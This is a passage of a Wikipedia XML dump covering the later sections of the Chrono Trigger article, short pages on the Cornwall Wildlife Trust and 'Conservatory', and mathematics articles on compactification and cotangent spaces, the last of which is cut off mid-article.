*'''[[Robo_(Chrono_Trigger)|Robo]]''' (ロボ ''robo'') - A robot from [[2300 A.D. (Chrono Trigger)|2300 A.D.]] Originally created to assist humans at the Proto Dome in the future, he is rendered dormant by the apocalypse in [[1999 A.D. (Chrono Trigger)|1999 A.D.]] He is found and repaired by Lucca and upon his reactivation Robo has no memory of his prior mission, and joins the party. His real name is Prometheus, and his serial number is R-66Y. He uses his robotic arm as a weapon and gains no use of magic (although he is equipped with laser weapons which mimic the Shadow element). Robo's alter-ego &quot;Prometheus&quot; is a reference to the Greek god [[Prometheus]], who was punished by [[Zeus]] for giving fire to man. In an optional side quest, Robo is punished by his maker, &quot;Mother Brain&quot;, for having sympathy for humans, and he meets his long-lost &quot;girlfriend,&quot; Atropos, a reference to [[Atropos]], who was the third of the [[Moirae]] the oldest of the Three Fates.

*'''[[Ayla_(Chrono_Trigger)|Ayla]]''' (エイラ ''eira'') - The chief of the Ioka tribe in [[65,000,000 B.C. (Chrono Trigger)|65,000,000 B.C.]] Her people are in constant war against the Reptites: an evolved, intelligent race of anthropomorphic reptiles of the prehistoric era. After [[Lavos]] hits the planet, dust blasts into the atmosphere and blocks out the sun. This causes an ice age and the extinction of the Reptites. Ayla can not use magic because she was born before the [[Kingdom of Zeal|age of magic]]. Instead, she uses her fists as her weapons and is the only character who doesn't need to buy weapon upgrades (however, at level 73 she gains the IronFist, increasing her critical hit rate and randomly causing chaos, and at level 96 she upgrades to the BronzeFist, hitting for 9999 HP at critical). Ayla could be an [[allusion]] to [[Jean Auel]]'s ''[[Earth's Children]]'' series, the protagonist of which is a tall, blonde-haired, blue eyed, prehistoric girl named Ayla. It could also refer to the [[tayra]] (''Eira barbara'').

*'''[[Magus_(Chrono_Trigger)|Magus]]''' ('''Janus''') (魔王 ''maō'') - The dark wizard waging war against the Kingdom of Guardia in 600 A.D. Magus is an optional character, and, if acquired, becomes one of Crono's most powerful allies. Magus is actually Janus, the young prince of Zeal in [[12,000 B.C. (Chrono Trigger)|12,000 B.C.]] After an encounter with Lavos as a boy, he was sent through a time gate to 600 A.D. In this time, he met a Mystic named [[Ozzie, Slash, and Flea (Chrono Trigger)|Ozzie]], and with Ozzie's help, he was able to realize his magical powers and recruit an entire army of Mystics to battle the Kingdom of Guardia. His real purpose in this plan was to gain enough power to summon and destroy Lavos. He fights using a [[scythe]], as well as a combination of all types of magic (fire, ice, lightning, and shadow). The word &quot;[[Magus]]&quot; is the singular form of the word &quot;magi&quot;, which is commonly used to describe the [[Three Wise Men]] of the [[Bible]]. The Japanese name 魔王 literally means &quot;Devil King&quot; or &quot;Dark Lord&quot;, representing his leadership over the &quot;devil race&quot; Mystics. The three wise men are doubly referenced by the Gurus of Zeal, who are mentors to the young Magus. It must be noted that the name of the Gurus are different in the Japanese version, and therefore, the biblical reference noted here were added in by the translator and not part of the original team. Another possible alusion is to one Simon Magus, a New Testament magician and false prophet. He wanted to join Christ's followers to perform miracles as Peter and the other Apostles did. He is strongly reprimanded for his greed.

==Time periods==
{{spoiler}}
In ''Chrono Trigger'', the characters can visit six different eras via portals known as gates or pillars of light, and the [[Epoch (Chrono Trigger)|Epoch]] [[time machine]].  In these time periods, the party witnesses various events than in a sense explain certain mythological and biblical{{ref|testament}} mysteries of our own [[Earth]].

*'''[[65,000,000 B.C. (Chrono Trigger)|65,000,000 B.C.]]''' ([[prehistory|Prehistoric]] era): The two major civilizations of the world, the Reptites and the [[ape]] like humans, are at continuous conflict with one another. The Reptites are a representation of the [[dinosaur]]s and consider themselves far superior to the pre-evolved humans. The Reptites reside in Tyranno Lair, which is ultimately destroyed when Lavos falls from space and destroys their home. Thus is an &quot;explanation&quot; for the mystery of the dinosaur's extinction. After Lavos strikes, the residents of the world complain that their world is getting colder, suggesting the beginning of the [[Ice Age]]. In ''Chrono Cross'', it is stated that this first encounter with Lavos caused the apes to evolve into humans. Ayla lives in this time period.

*'''[[12000 B.C. (Chrono Trigger)|12,000 B.C.]]''' (Dark Ages): In ''Chrono Trigger''&lt;nowiki&gt;'&lt;/nowiki&gt;s Dark Ages, the human race has divided itself into the magical, intelligent, and skyliving &quot;Enlightened Ones&quot; and the powerless, unintelligent, and earthliving &quot;Earthbound Ones.&quot; When Queen Zeal's quest for immortality causes her to awaken the evil creature Lavos, she destroys the entire Enlightened civilization and their kingdom in the sky, resulting in the Enlightened Ones being forced to live among the Earthbound. The Dark Ages actually correspond to an [[Ice Age]], whereas the historical [[Dark Ages]] occurred in 400 A.D. This time period is the home of Janus (Magus), and his sister Schala.

*'''[[600 A.D. (Chrono Trigger)|600 A.D.]]''' ([[Middle Ages]]): The Middle Ages introduce the next race of intelligent monsters after the Reptites, known as the Mystics, who, like the Reptites, despise humans. This era closely corresponds with the historical Dark Ages. Frog is found here.

*'''[[1000 A.D. (Chrono Trigger)|1000 A.D.]]''' (Present): This era closely corresponds to the historical [[High Middle Ages]], in which stability returned after the Dark Ages. Noticibly however is the significant improvement in technology since 600 A.D. This is where the story begins with Crono, Marle and Lucca.

*'''[[1999 A.D. (Chrono Trigger)|1999 A.D.]]''' ([[Apocalypse]]): In this time period, Lavos awakens from below the surface of the earth to destroy the world.  [[Nostradamus]] predicted that the world would end in 1999 A.D.

*'''[[2300 A.D. (Chrono Trigger)|2300 A.D.]]''' ([[Future]]): After Lavos destroys the world, the few remaining humans continue to live in the ruins of their former homes, though without any quality of life, perhaps as humankind's punishment for its greed. Robo joins the party here.  The guru Belthasar also exists in this time period.

*'''[[End of Time (Chrono Trigger)|End of Time]]''': This time period is without an exact number date (represented by an infinity symbol); is where all time has finished, but is continuously flowing. Inside the nothingness, there is only one small area where there are certain &quot;pillars of light&quot; that serve as portals to different eras, with only two inhabitants: Spekkio, the God of War (who, taking increasingly powerful forms, challenges the party on several occasions to test their mettle and also grants the party the gift of 'Magic'), and an Old Man who is actually Gaspar, the Guru of Time.  Later in the game, it is possible to dock the Epoch at the steps to the right of the room where Gaspar stands.

==Soundtrack==
''Main article: [[Chrono Trigger soundtrack|Chrono Trigger (soundtrack)]]''

The [[soundtrack]] to ''Chrono Trigger'' is very popular with the ''[[Chrono Trigger (soundtrack)|Chrono Trigger Original Sound Track]]'' available as well as many symphonic versions.

It was primarily composed and arranged by [[Yasunori Mitsuda]], his first real project after his tenure as a sound engineer. Ironically, [[Nobuo Uematsu]] signed on to the project to help Yasunori Mitsuda out after the latter contracted stomach ulcers [http://www.chronocompendium.com/wiki/index.php?title=Power_Up_Excerpt]. Uematsu, who became a part of the Dream Team for his popularity from other games, went on to compose ten songs, one with the help of [[Noriko Matsueda]], while Mitsuda's work totaled in at fifty-four. He would later compose four additional pieces for the Extras menu of the [[Final Fantasy Chronicles|Playstation release]]; two of them - ''One Sunny Day When We Met'' and ''A Meeting with Destiny'' - have been noted by famed ''[[Doom]]'' creator [[John Romero]] as being among his favorite video game music [http://www.johnromero.com/vgm.php].

The soundtrack is one of the most heavily-remixed collection of music by fans on both sides of the Pacific, whose tributes number over 300. While North American and European fans of the game create and submit most their work to remixing sites such as [[OverClocked ReMix]] and [[VGMix]], Japanese fans often sell their work in remix compilation albums popularly called 'doujins' by Western fans.  In fact, [[OverClocked ReMix]] released a ''Chrono Trigger'' remix compilation album titled ''[[Chrono Symphonic]]'' on [[January 3]], [[2006]].

There is also another remix made by a hip hop production team called Compromised.  They have used original songs from ''Chrono Trigger'' and created rap instrumentals out of them.  [http://www.chronotriggermixtape.com]

==Versions==

===Super Famicom/Super Nintendo version===

The original version of ''Chrono Trigger'' is a 32 [[Mbit]] (4 [[Megabyte|MB]], which is quite large for a SNES game) [[cartridge]] with battery-backed [[RAM]] for [[save game]]s. It does not use any special on-cartridge coprocessors. A popular misconception about the Super NES version of ''Chrono Trigger'' is that it is rare. [[eBay]] auctions frequently describe the game as rare, and the prices have gone as high as $50 for the cartridge alone with a complete version going for well over $100 in some cases. The game is not as rare as some believe, and one rarity guide actually lists the game as not very rare at all.  This rarity guide was compiled using auction data from sites such as eBay to determine the scarcity of these games.  On a regular basis there can be 40 or more cartridges being sold on eBay at one time, which is as high as some of the most high profile and lower priced games for the Super Nintendo system.
When the original Super Famicom version was slated for release in Japan, individuals who preordered the game received one of several limited edition holographic foil collector's cards. Each card had a piece of game artwork on the front: either the American box cover (commonly referred to as the &quot;snow battle&quot;), the battle with Magus found on the inside of the American manual, a flight in the Epoch, or a character portrait.
Also a contributer to the 'rare' nature of Chrono trigger is its never having been released in Europe despite there being a strong RPG following there (especially since the release of [[Final Fantasy 7]]) and as such in Europe it is rare.

===The beta version and ROM hacks===

Many rumors and legends have surrounded the game since its development due to its plot depth and unresolved ends. While some of these claims, such as a mountain area in [[65,000,000 B.C. (Chrono Trigger)|65,000,000 B.C.]], were true concerning a beta of the game, many are fabrications. For instance, it has long been held that the traveler Toma and the princess Schala were at one time intended to be playable characters; the supposed proof lies in manipulation of the player character selection screen via Game Genie or [[Action Replay|Pro Action Replay]] codes. However, closer inspection and the aid of ROM hackers have revealed that while very few faculties in the code for an eighth character do exist, lacking graphics, the game is hardwired and designed specifically for the featured seven. There is also no corroborating evidence from the beta version of the game released to stores itself or preview shots in magazines; examination of the beta also establishes that no extra animations for Toma or Schala existed.
[[Image:Zeal Dungeon CTP.png|thumb|256px|left|Lower left Zeal Dungeon]]
The beta version mentioned above is commonly called the ''Chrono Trigger'' Prerelease; it was given to game retailers to secure sales before the final version debuted, and was leaked to the internet in 1999. Within the beta, many areas have no event code (rendering them unplayable), the music is slightly different in certain areas, [[Ayla_(Chrono_Trigger)|Ayla]] is missing as a playable character (though her sprites are in the ROM), and two sprites for an eighth character's Overworld walking animations exist (most likely, this was an NPC guard blocking off an area). Additionally, some areas not found in the final game are present, along with palette swapped and alternate monsters. Of note are the &quot;Zeal Dungeon&quot; and the famous &quot;Singing Mountain&quot; area, which originally bore the unused music track &quot;Singing Mountain&quot; in the final version's ROM data. The differences and abandoned features were documented in StarNeptune's ''Chrono Trigger'' FAQ at [[GameFAQs]], but the formative topics used in the FAQ's creation contained erroneous information added by discussors. In 2004, the Chrono Compendium undertook an exhaustive examination of the Prerelease, including images, maps, and research regarding the eighth character[http://www.chronocompendium.com/Term/Chrono_Trigger_Prerelease]. Additionally, the ROM hacker JLukas has developed codes that enable exploration of the areas that previously caused the games to crash, such as Death Peak and the Ocean Palace[http://www.chronocompendium.com/Term/Codes_(CTP)].

Lastly, Geiger, a longtime ROM hacker and modifier, has released an editor for ''Chrono Trigger'' called &quot;Temporal Flux&quot; that allows the free drawing and editing of any Location or Overworld in the ROM, the changing of any text string in the game, and the altering of event code. Though this allows most aspects of ''Chrono Trigger'' to be changed and restructured, editing event code is still very difficult, and support has not yet been added for sprite editing and other features. Currently, Geiger plans to update the program to support editing Overworld features and ROM expansion, and then move on to other projects. On ''Chrono Trigger'''s tenth birthday, August 22nd, 2005, the first serious ROM hack created with the program debuted -- a demo for a new adventure featuring the original team. It was released as an .ips patch zipped with a readme containing instructions[http://www.chronocompendium.com/files/CEDemo.zip].

===PlayStation version===
[[Image:Chrono Trigger Cutscene.jpg|256px|thumb|An example of one of the anime cutscenes: Ayla battles the Reptites.]]

An enhanced [[port (computing)|port]] of ''Chrono Trigger'' for the Sony [[PlayStation]] was released [[1999]] in Japan. This port with the original translation by [[Ted Woolsey]] was released in the US together with a &quot;remastered&quot; version of ''[[Final Fantasy IV]]'' as ''[[Final Fantasy Chronicles]]'' in [[2001]]. It features [[anime]] cutscenes done by original character designer Akira Toriyama's [[Bird Studio]] spread throughout the game at key sequences and an &quot;extras mode.&quot;  Each ending reached unlocks more of the following:
* All 10 of the added anime movies
* 69 songs from the game, including the extras menu songs
* Statistics on all the monsters
* A list of all of the endings with a screenshot from each
* An art gallery with 16 anime-style drawings of characters
* A list of all characters' techs
* Descriptions of the bosses with strategies
* A &quot;treasure map&quot; which shows the locations of hidden items

Poor conversion of the cartridge to the PlayStation's [[compact disc]] medium caused many common actions, like opening a menu screen or beginning a battle, to take several seconds due to load time, much to the unpleasant surprise of many gamers. Baffling fans, [[Square Enix]] did not correct this problem with the Greatest Hits re-release of ''Final Fantasy Chronicles''. It should be noted, however, that the Japanese port of the game had no loading times.

Chrono Trigger is yet to be released in Europe in any form.

===Unofficial remakes===

There have been a few notable attempts by groups of ''Chrono Trigger'' fans to unofficially remake the game for the PC and with a 3D graphics engine. The most prominent projects, such as ''Chrono Resurrection'' [http://www.opcoder.com/projects/chrono/], and ''Chrono Trigger Remake Project'' [http://www.chrono-trigger.com/] were forcibly terminated by Square-Enix with a [[cease and desist]] order. Some fans hope that Square-Enix has plans for an official remake of ''Chrono Trigger''. However, other fans view a possible official remake as being detrimental to the series. [[Masato Kato]] and his team have stated that while making ''Chrono Cross'', they were focused on innovating and not rehashing old games in their work. This, coupled with Kato's status as a freelance scenarist and [[Yasunori Mitsuda]]'s status as a freelance scorer, strongly suggests a hypothetical remake would not be headed by the original creators or team.

==Sequels==
===Satellaview sequel series (1995)===
Released on the Satellaview were the ''Chrono Trigger: Jet Bike Special'' (1995), ''Chrono Trigger: Character Library'' (1995), and ''Chrono Trigger: Music Library'' (1995).  The Character and Music Libraries from this game were added into the Playstation version of ''Chrono Trigger''.

===''Radical Dreamers'' (1996)===
{{Main|Radical Dreamers}}
A [[side story]] for ''Chrono Trigger'' was released for Nintendo's [[Satellaview]] add-on for the [[Super Famicom]] and was called ''[[Radical Dreamers]]''. The original ''Radical Dreamers'' was a very short, [[Text_adventure|text-based game]], available only in [[Japan]]. ''Radical Dreamers'' was later remade to form the beginning sequence of ''Chrono Trigger'''s better known PlayStation sequel, ''[[Chrono Cross]]''.

===''Chrono Cross'' (1999)===
{{Main|Chrono Cross}}
While it has been contended that ''Chrono Cross'' is not the sequel to ''Trigger'' because of developer remarks stating such, it is important to note that these battle programmers were speaking of wanting to avoid rehashing the system and locations of ''Trigger'' rather than innovating with new ideas, and that ''Chrono Cross'' sufficiently expands on the plot of its predecessor. In any case, ''Chrono Trigger'' definitely takes place before Chrono Cross.

==Potential future sequels==
When SquareEnix copyrighted the names ''Chrono Brake'' in Japan and ''[[Chrono Break]]'' in the United States, it attracted the attention of ''Chrono'' fans, who were thrilled that another sequel might be forthcoming. Their hopes were diminished when the name registration was dropped in the US, but due to the Japanese name still being copyrighted, many fans continue to hope for a possible second sequel.

==Packaging artwork==
&lt;center&gt;
&lt;gallery&gt;
Image:CT Pre-release.jpg|''Chrono Trigger Pre-release Sample ROM'' &lt;br /&gt;Super Famicom&lt;br /&gt;Japan, 1995
Image:Ctsnesjapanboxart.jpg|''Chrono Trigger''&lt;br /&gt;Super Famicom&lt;br /&gt;Japan, 1995
Image:Vjumpbox.png|''Chrono Trigger V-Jump Contest Prize Edition''&lt;br /&gt;Super Famicom&lt;Br /&gt;Japan, 1995
Image:Chrono Trigger Front Cover.jpg|''Chrono Trigger''&lt;br /&gt;Super Nintendo Entertainment System&lt;br /&gt;North America, 1995
Image:Ctpsjapanboxart.jpg|''Chrono Trigger''&lt;br /&gt;Sony PlayStation&lt;br /&gt;Japan, 1999
Image:Ffcbox.jpg|''[[Final Fantasy Chronicles]]''&lt;br /&gt;Sony PlayStation&lt;br /&gt;North America, 2001
&lt;/gallery&gt;
&lt;/center&gt;
&lt;!--Please do not mention that Marle is using Fire magic in the US package artwork. This has already been discussed in the [[Talk:Chrono Trigger|Talk page]]. --&gt;

==External links==
{{wikiquote}}
{{wikibooks}}
* [http://www.chronocompendium.com/ Chrono Compendium], a Chrono series Wiki with a guide to the Prerelease
* [http://www.mobygames.com/game/chrono-trigger MobyGame's entry for ''Chrono Trigger'']
* [http://www.gamefaqs.com/console/snes/game/563538.html GameFAQs' Chrono Trigger FAQs; Meowthnum1's includes pre-release information by StarNeptune]
* [http://www.personal.psu.edu/faculty/w/r/wrp103/wrp/ct_end.html List of all the endings and how to see them]
* {{note|testament}}[http://www.chronocompendium.com/wiki/index.php?title=Chrono_Testament Chrono Trigger Testament] &amp;mdash; attempts Biblical parallels to Chrono Trigger
* [http://www.rpgclassics.com/shrines/snes/ct/walkthrough.shtml RPGClassics' Chrono Trigger Walkthrough], an &lt;i&gt;excellent&lt;/i&gt; walkthrough guide, with humorous quips and comments by the author.
* [http://www.mooglecave.com/ChronoTrigger MoogleCave.com - Chrono Trigger Section], contains lots of information about the game
* {{musicbrainz album|id=f2b550d2-bd02-4c6b-aad8-e64e12e36038|name=Chrono Trigger Official Soundtrack}}
* {{musicbrainz album|id=7e278b3b-4f83-4f59-a94a-adab7a321d77|name=Chrono Trigger Original Soundtrack}}
* {{musicbrainz album|id=24d7728e-c78d-4cf9-ac6a-42f378058f12|name=Chrono Trigger: The Brink of Time}}
* {{musicbrainz album 3|id1=c71d6600-0b24-46d3-85df-7546ad82883f|id2=cdbe4f34-19cf-4343-be6b-fef243fe2b98|id3=3f9ff2cc-5313-432e-ab33-109273d1ccd3|name=Chrono Trigger: Original Sound Version}}

{{Chrono Trigger}}

[[Category:Chrono games]]
[[Category:Super NES games]]
[[Category:PlayStation games]]
[[Category:1995 computer and video games]]
[[Category:1999 computer and video games]]
[[Category:2001 computer and video games]]

[[de:Chrono Trigger]]
[[es:Chrono Trigger]]
[[fr:Chrono Trigger]]
[[it:Chrono Trigger]]
[[ms:Chrono Trigger]]
[[ja:クロノ・トリガー]]
[[pt:Chrono Trigger]]
[[fi:Chrono Trigger]]
[[sv:Chrono Trigger]]
[[zh:时空之轮]]</text>
    </revision>
  </page>
  <page>
    <title>Cornwall Wildlife Trust</title>
    <id>6615</id>
    <revision>
      <id>38507174</id>
      <timestamp>2006-02-06T20:37:55Z</timestamp>
      <contributor>
        <username>Mais oui!</username>
        <id>394460</id>
      </contributor>
      <comment>cats</comment>
      <text xml:space="preserve">The '''Cornwall Wildlife Trust''' is a charitable organisation founded in [[1962]] that is concerned solely with [[Cornwall]]. 

It deals with the conservation and preservation of Cornwall's wildlife and habitats managing over 50 nature reserves covering approximately 4300 acres (17 km&amp;sup2;), amongst them [[Looe Island]]. 

Cornwall Wildlife Trust is part of [[The Wildlife Trusts partnership]] of 47 wildlife trusts in the [[United Kingdom]].

==External links==
* [http://www.wildlifetrust.org.uk/cornwall/index.htm Cornwall Wildlife Trust]
* [http://www.wildlifetrusts.org The Wildlife Trusts partnership]

[[Category:Cornwall|Wildlife]]
[[Category:Wildlife Trusts of England]]

{{England-stub}}
{{UK-org-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Conservatory</title>
    <id>6616</id>
    <revision>
      <id>18245259</id>
      <timestamp>2005-07-06T07:30:34Z</timestamp>
      <contributor>
        <username>Modrac</username>
        <id>274410</id>
      </contributor>
      <text xml:space="preserve">*A '''conservatory''' is a school dedicated to teaching of various arts, such as [[music]] (including playing of [[musical instrument]]s, [[musical composition]], musicianship and [[music theory]]) and [[acting]]. See: [[music school]]. Famous conservatories: [[Julliard]] (music, acting), [[AFI Conservatory]] (film).
*A '''conservatory''' is also another name for a large [[greenhouse]] where [[plant]]s are cultivated. See: [[conservatory (greenhouse)]].

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Compactification (mathematics)</title>
    <id>6617</id>
    <revision>
      <id>39950444</id>
      <timestamp>2006-02-17T01:01:50Z</timestamp>
      <contributor>
        <username>Melchoir</username>
        <id>454640</id>
      </contributor>
      <comment>there are unique ways</comment>
      <text xml:space="preserve">:''For the concept of compactification in physics, see [[compactification (physics)]]''

In [[mathematics]], '''compactification''' is applied to [[topological space]]s to make them [[compact space]]s. The methods of compactification are various, but each is a way of controlling points from ''going off to infinity'' by in some way reifying a limit into a point or points, or preventing such an ''escape''.

==A simple, slightly handwavy example==

We all know that the circle is a compact space in the plane.  It is closed and bounded, which due to the special properties of the euclidean plane, means that is compact.  What we would like to do is to show that we can adjust the line (which is not bounded) and identify it with the circle, making it a compact in a slightly modified topology which will preserve the topology everywhere except where we have modified it.

The construction is to add on a single point &quot;infinity&quot;.  Take a point on the circle and represent it by its degree value, in radians, going from -π to π for simplicity.  Identify each point θ on the circle with the corresponding point on the real line tan(θ/2).  This function is undefined at the point π, since tan(π/2) is undefined there; we will identify this point with our &quot;infinity&quot; point.

Note that since tangent and inverse tangent are both continuous, our identification function is a [[homeomorphism]].  It is not difficult to show that it remains a homeomorphism even when we consider our little tweak of adding &quot;infinity&quot;.  Topological properties, including compactness, are preserved over homeomorphisms, and since we know the circle is compact, we know that our modified line is compact, in fact, it is [[isomorphic]] to a circle.

Compactification, and in particular, one-point compactification can largely be considered a generalization of this process.

==Compactification in general topology==

It is often useful to embed [[topological space|topological spaces]] in [[compact space|compact spaces]], because of the strong properties compact spaces have. An embedding of a topological space ''X'' as a [[dense (mathematics)|dense]] subset of a compact space is called a '''compactification''' of X.

Of particular interest are Hausdorff compactifications, i.e., compactifications in which the compact space is [[Hausdorff space|Hausdorff]]. A topological space has a Hausdorff compactification if and only if it is [[Tychonoff space|Tychonoff]]. Moreover, there is a unique ([[up to]] [[homeomorphism]]) &quot;most general&quot; compactification, the '''Stone-&amp;#268;ech compactification''' of ''X'', denoted by &amp;beta;''X''. The space ''&amp;beta;X'' is characterized by the [[universal property]] that any [[continuous function (topology)|continuous]] function from ''X'' to a compact Hausdorff space ''K'' can be extended to a continuous function from ''&amp;beta;X'' to ''K'' in a unique way. More explicitly, &amp;beta;''X'' is a compact Hausdorff space for which the induced topology on ''X'' by &amp;beta;''X'' is the same as the topology on ''X'', and for any continuous map &lt;math&gt;f:X\to Y&lt;/math&gt;, where ''Y'' is a compact Hausdorff space, there is a unique continuous map &lt;math&gt;g:\beta X\to Y&lt;/math&gt; for which ''g'' restricted to ''X'' is identically ''f''.  The Stone-&amp;#268;ech compactification can be constructed explicitly as follows: let ''C'' be the set of continuous functions from ''X'' to [0,1].  Then each point in ''X'' can be identified with an evaluation function on ''C''.  Thus ''X'' can be identified with a subset of [0,1]&lt;sup&gt;''C''&lt;/sup&gt;, the space of ''all'' functions from ''C'' to [0,1].  Since the latter is compact by [[Tychonoff's theorem]], the closure of ''X'' as a subset of that space will also be compact.  This is the Stone-&amp;#268;ech compactification.

For any non-compact space ''X'' the ('''Alexandroff''') '''one-point compactification''' of ''X'' is obtained by adding an extra point &amp;infin; (often called a ''point at infinity'') and defining the open sets of the new space to be the open sets of ''X'' together with the sets of the form ''G''&amp;nbsp;&lt;font face=&quot;Arial,Helvetica&quot;&gt;U&lt;/font&gt;&amp;nbsp;{&amp;infin;}, where ''G'' is an open subset of ''X'' and ''X'' \ ''G'' is compact. The one-point compactification of ''X'' is Hausdorff if and only if ''X'' is Hausdorff and [[locally compact]].

==Compactification and discrete subgroups of Lie groups==

In the study of [[discrete]] subgroups of [[Lie group]]s, the [[quotient space]] of [[coset]]s is often a candidate for more subtle '''compactification''' to preserve structure at a richer level than just topological. 

For example [[modular curve]]s are compactified by the addition of single points for each [[cusp]], making them [[Riemann surface]]s (and so, since they are compact, [[algebraic curve]]s). Here the cusps are there for a good reason: the curves parametrize a space of [[lattice (group)|lattice]]s, and those lattices can degenerate ('go off to infinity'), often in a number of ways (taking into account some auxiliary structure of ''level''). The cusps stand in for those different 'directions to infinity'.

That is all for lattices in the plane. In ''n''-dimensional [[Euclidean space]] the same questions can be posed, for example about GL&lt;sub&gt;''n''&lt;/sub&gt;('''R''')/GL&lt;sub&gt;''n''&lt;/sub&gt;('''Z'''). This is harder to compactify. There is a general theory, the [[Borel-Serre compactification]], that is now applied.

==Other compactification theories==

These include the theories of [[ends of a space]] and [[prime end]]s. Also some 'boundary' theories such as the [[collaring of an open manifold]], [[Martin boundary]], [[Silov boundary]] and [[Furstenberg boundary]]. The [[Bohr compactification]] of a [[topological group]] arises from the consideration of [[almost periodic function]]s. One can compactify a [[topological ring]] by forming a ''projective line'' with [[inversive ring geometry]].

[[Category:Topology]]
[[de:Kompaktifizierung]]
[[he:קומפkkkkkkkkkkקטיפיקציה]]</text>
    </revision>
  </page>
  <page>
    <title>Cotangent space</title>
    <id>6620</id>
    <revision>
      <id>42108917</id>
      <timestamp>2006-03-03T21:59:36Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">In [[differential geometry]], one can attach to every point ''p'' of a differentiable [[manifold]] a [[vector space]] called the '''cotangent space''' at ''p''. Typically, the cotangent space is defined as the [[dual space|dual]] of the [[tangent space]] at ''p'', although there are more direct definitions (see below). The elements of the cotangent space are called '''tangent covectors'''. All cotangent spaces have the same [[dimension of a vector space|dimension]], equal to the dimension of the manifold.

Note that since the tangent space and the cotangent space at a point are both real vector spaces of the same dimension, they are [[isomorphic]] to each other. However, they are ''not'' [[naturally isomorphic]]. That is, given a tangent covector there is no canonical tangent vector associated with it. The situation changes with the introduction of a [[Riemannian metric]] or a [[symplectic form]] in which case the added structure gives rise to a natural isomorphism.

For this reason it is important to maintain the distinction between the tangent space and the cotangent space. Many definitions are more natural on one space than on the other.

All the cotangent spaces of a manifold can be &quot;glued together&quot; to form a new differentiable manifold of twice the dimension, the [[cotangent bundle]] of the manifold.

==Formal definitions==

===Definition as linear functionals===

Let ''M'' be a smooth manifold and let ''p'' be a point in ''M''. Let ''T''&lt;sub&gt;''p''&lt;/sub&gt;''M'' be the [[tangent space]] at ''p''. Then the cotangent space at ''p'' is defined as the [[dual space]] of ''T''&lt;sub&gt;''p''&lt;/sub&gt;''M'':
:''T''&lt;sub&gt;''p''&lt;/sub&gt;&lt;sup&gt;*&lt;/sup&gt;''M'' = (''T''&lt;sub&gt;''p''&lt;/sub&gt;''M'')&lt;sup&gt;*&lt;/sup&gt; 
Concretely, elements of the cotangent space are [[linear functional]]s on ''T''&lt;sub&gt;''p''&lt;/sub&gt;''M''. That is, every element &amp;phi; &amp;isin; ''T''&lt;sub&gt;''p''&lt;/sub&gt;&lt;sup&gt;*&lt;/sup&gt;''M'' is a [[linear map]]
:&amp;phi; : ''T''&lt;sub&gt;''p''&lt;/sub&gt;''M''&amp;rarr;'''R'''
The elements of ''T''&lt;sub&gt;''p''&lt;/sub&gt;&lt;sup&gt;*&lt;/sup&gt;''M'' are called tangent covectors. 

===Alternate definition===

In some cases, one might like to have a direct definition of the cotangent space without reference to the tangent space. Such a definition can be formulated in terms of [[equivalence class]]es of smooth functions on ''M''.

Let ''M'' be a smooth manifold and let ''p'' be a point in ''M''. Let ''I''&lt;sub&gt;''p''&lt;/sub&gt; be the [[ideal (ring theory)|ideal]] of all functions in C&lt;sup&gt;&amp;infin;&lt;/sup&gt;(''M'') vanishing at ''p'', and let ''I''&lt;sub&gt;''p''&lt;/sub&gt;&lt;sup&gt;2&lt;/sup&gt; be the set of functions of the form ''fg'' for ''f,g'' &amp;isin; ''I''&lt;sub&gt;''p''&lt;/sub&gt;. Then ''I''&lt;sub&gt;''p''&lt;/sub&gt; and ''I''&lt;sub&gt;''p''&lt;/sub&gt;&lt;sup&gt;2&lt;/sup&gt; are real vector spaces and the cotangent space is defined as the quotient space ''T''&lt;sub&gt;''p''&lt;/sub&gt;&lt;sup&gt;*&lt;/sup&gt;''M'' = ''I''&lt;sub&gt;''p''&lt;/sub&gt; / ''I''&lt;sub&gt;''p''&lt;/sub&gt;&lt;sup&gt;2&lt;/sup&gt;.

==The differential of a function==

Let ''M'' be a smooth manifold and let ''f'' &amp;isin; C&lt;sup&gt;&amp;infin;&lt;/sup&gt;(''M'') be a [[smooth function]]. The differential of ''f'' at a point ''p'' is the map
:''df''&lt;sub&gt;''p''&lt;/sub&gt;(''X''&lt;sub&gt;''p''&lt;/sub&gt;) = ''X''&lt;sub&gt;''p''&lt;/sub&gt;(''f'')
where ''X''&lt;sub&gt;''p''&lt;/sub&gt; is a [[tangent vector]] at ''p'', thought of as a derivation. That is &lt;math&gt;X(f)=\mathcal{L}_Xf&lt;/math&gt; is the [[Lie derivative]] of ''f'' in the direction ''X'', and one has &lt;math&gt;df(X)=X(f)&lt;/math&gt;.  Equivalently, we can think of tangent vectors as tangents to curves, and write
:''df''&lt;sub&gt;''p''&lt;/sub&gt;(&amp;gamma;&amp;prime;(0)) = (''f'' o &amp;gamma;)&amp;prime;(0)
In either case, ''df''&lt;sub&gt;''p''&lt;/sub&gt; is a linear map on ''T''&lt;sub&gt;''p''&lt;/sub&gt;''M'' and hence it is a tangent covector at ''p''.

We can then define the differential map ''d'' : C&lt;sup&gt;&amp;infin;&lt;/sup&gt;(''M'') &amp;rarr; ''T''&lt;sub&gt;''p''&lt;/sub&gt;&lt;sup&gt;*&lt;/sup&gt;''M'' at a point ''p'' as the map which sends ''f'' to ''df''&lt;sub&gt;''p''&lt;/sub&gt;. Properties of the differential map include:

# ''d'' is a linear map: ''d''(''af'' + ''bg'') = ''a df'' + ''b dg'' for constants ''a'' and ''b'',
# ''d''(''fg'')&lt;sub&gt;''p''&lt;/sub&gt; = ''f''(''p'')''dg'' + ''g''(''p'')''df'',

The differential map provides the link between the two alternate definitions of the cotangent bundle given above. Given a function ''f'' &amp;isin; ''I''&lt;sub&gt;''p''&lt;/sub&gt; (a smooth function vanishing at ''p'') we can form the linear functional ''df''&lt;sub&gt;''p''&lt;/sub&gt; as above. Since the map ''d'' restricts to 0 on ''I''&lt;sub&gt;''p''&lt;/sub&gt;&lt;sup&gt;2&lt;/sup&gt; (the reader should verify this), ''d'' descends to a map from ''I''&lt;sub&gt;''p''&lt;/sub&gt; / ''I''&lt;sub&gt;''p''&lt;/sub&gt;&lt;sup&gt;2&lt;/sup&gt; to the dual of the tangent space, (''T''&lt;sub&gt;''p''&lt;/sub&gt;''M'')&lt;sup&gt;*&lt;/sup&gt;. One can show that this map is an isomorphism, establishing the equivalence of the two definitions.

==The pullback of a smooth map==

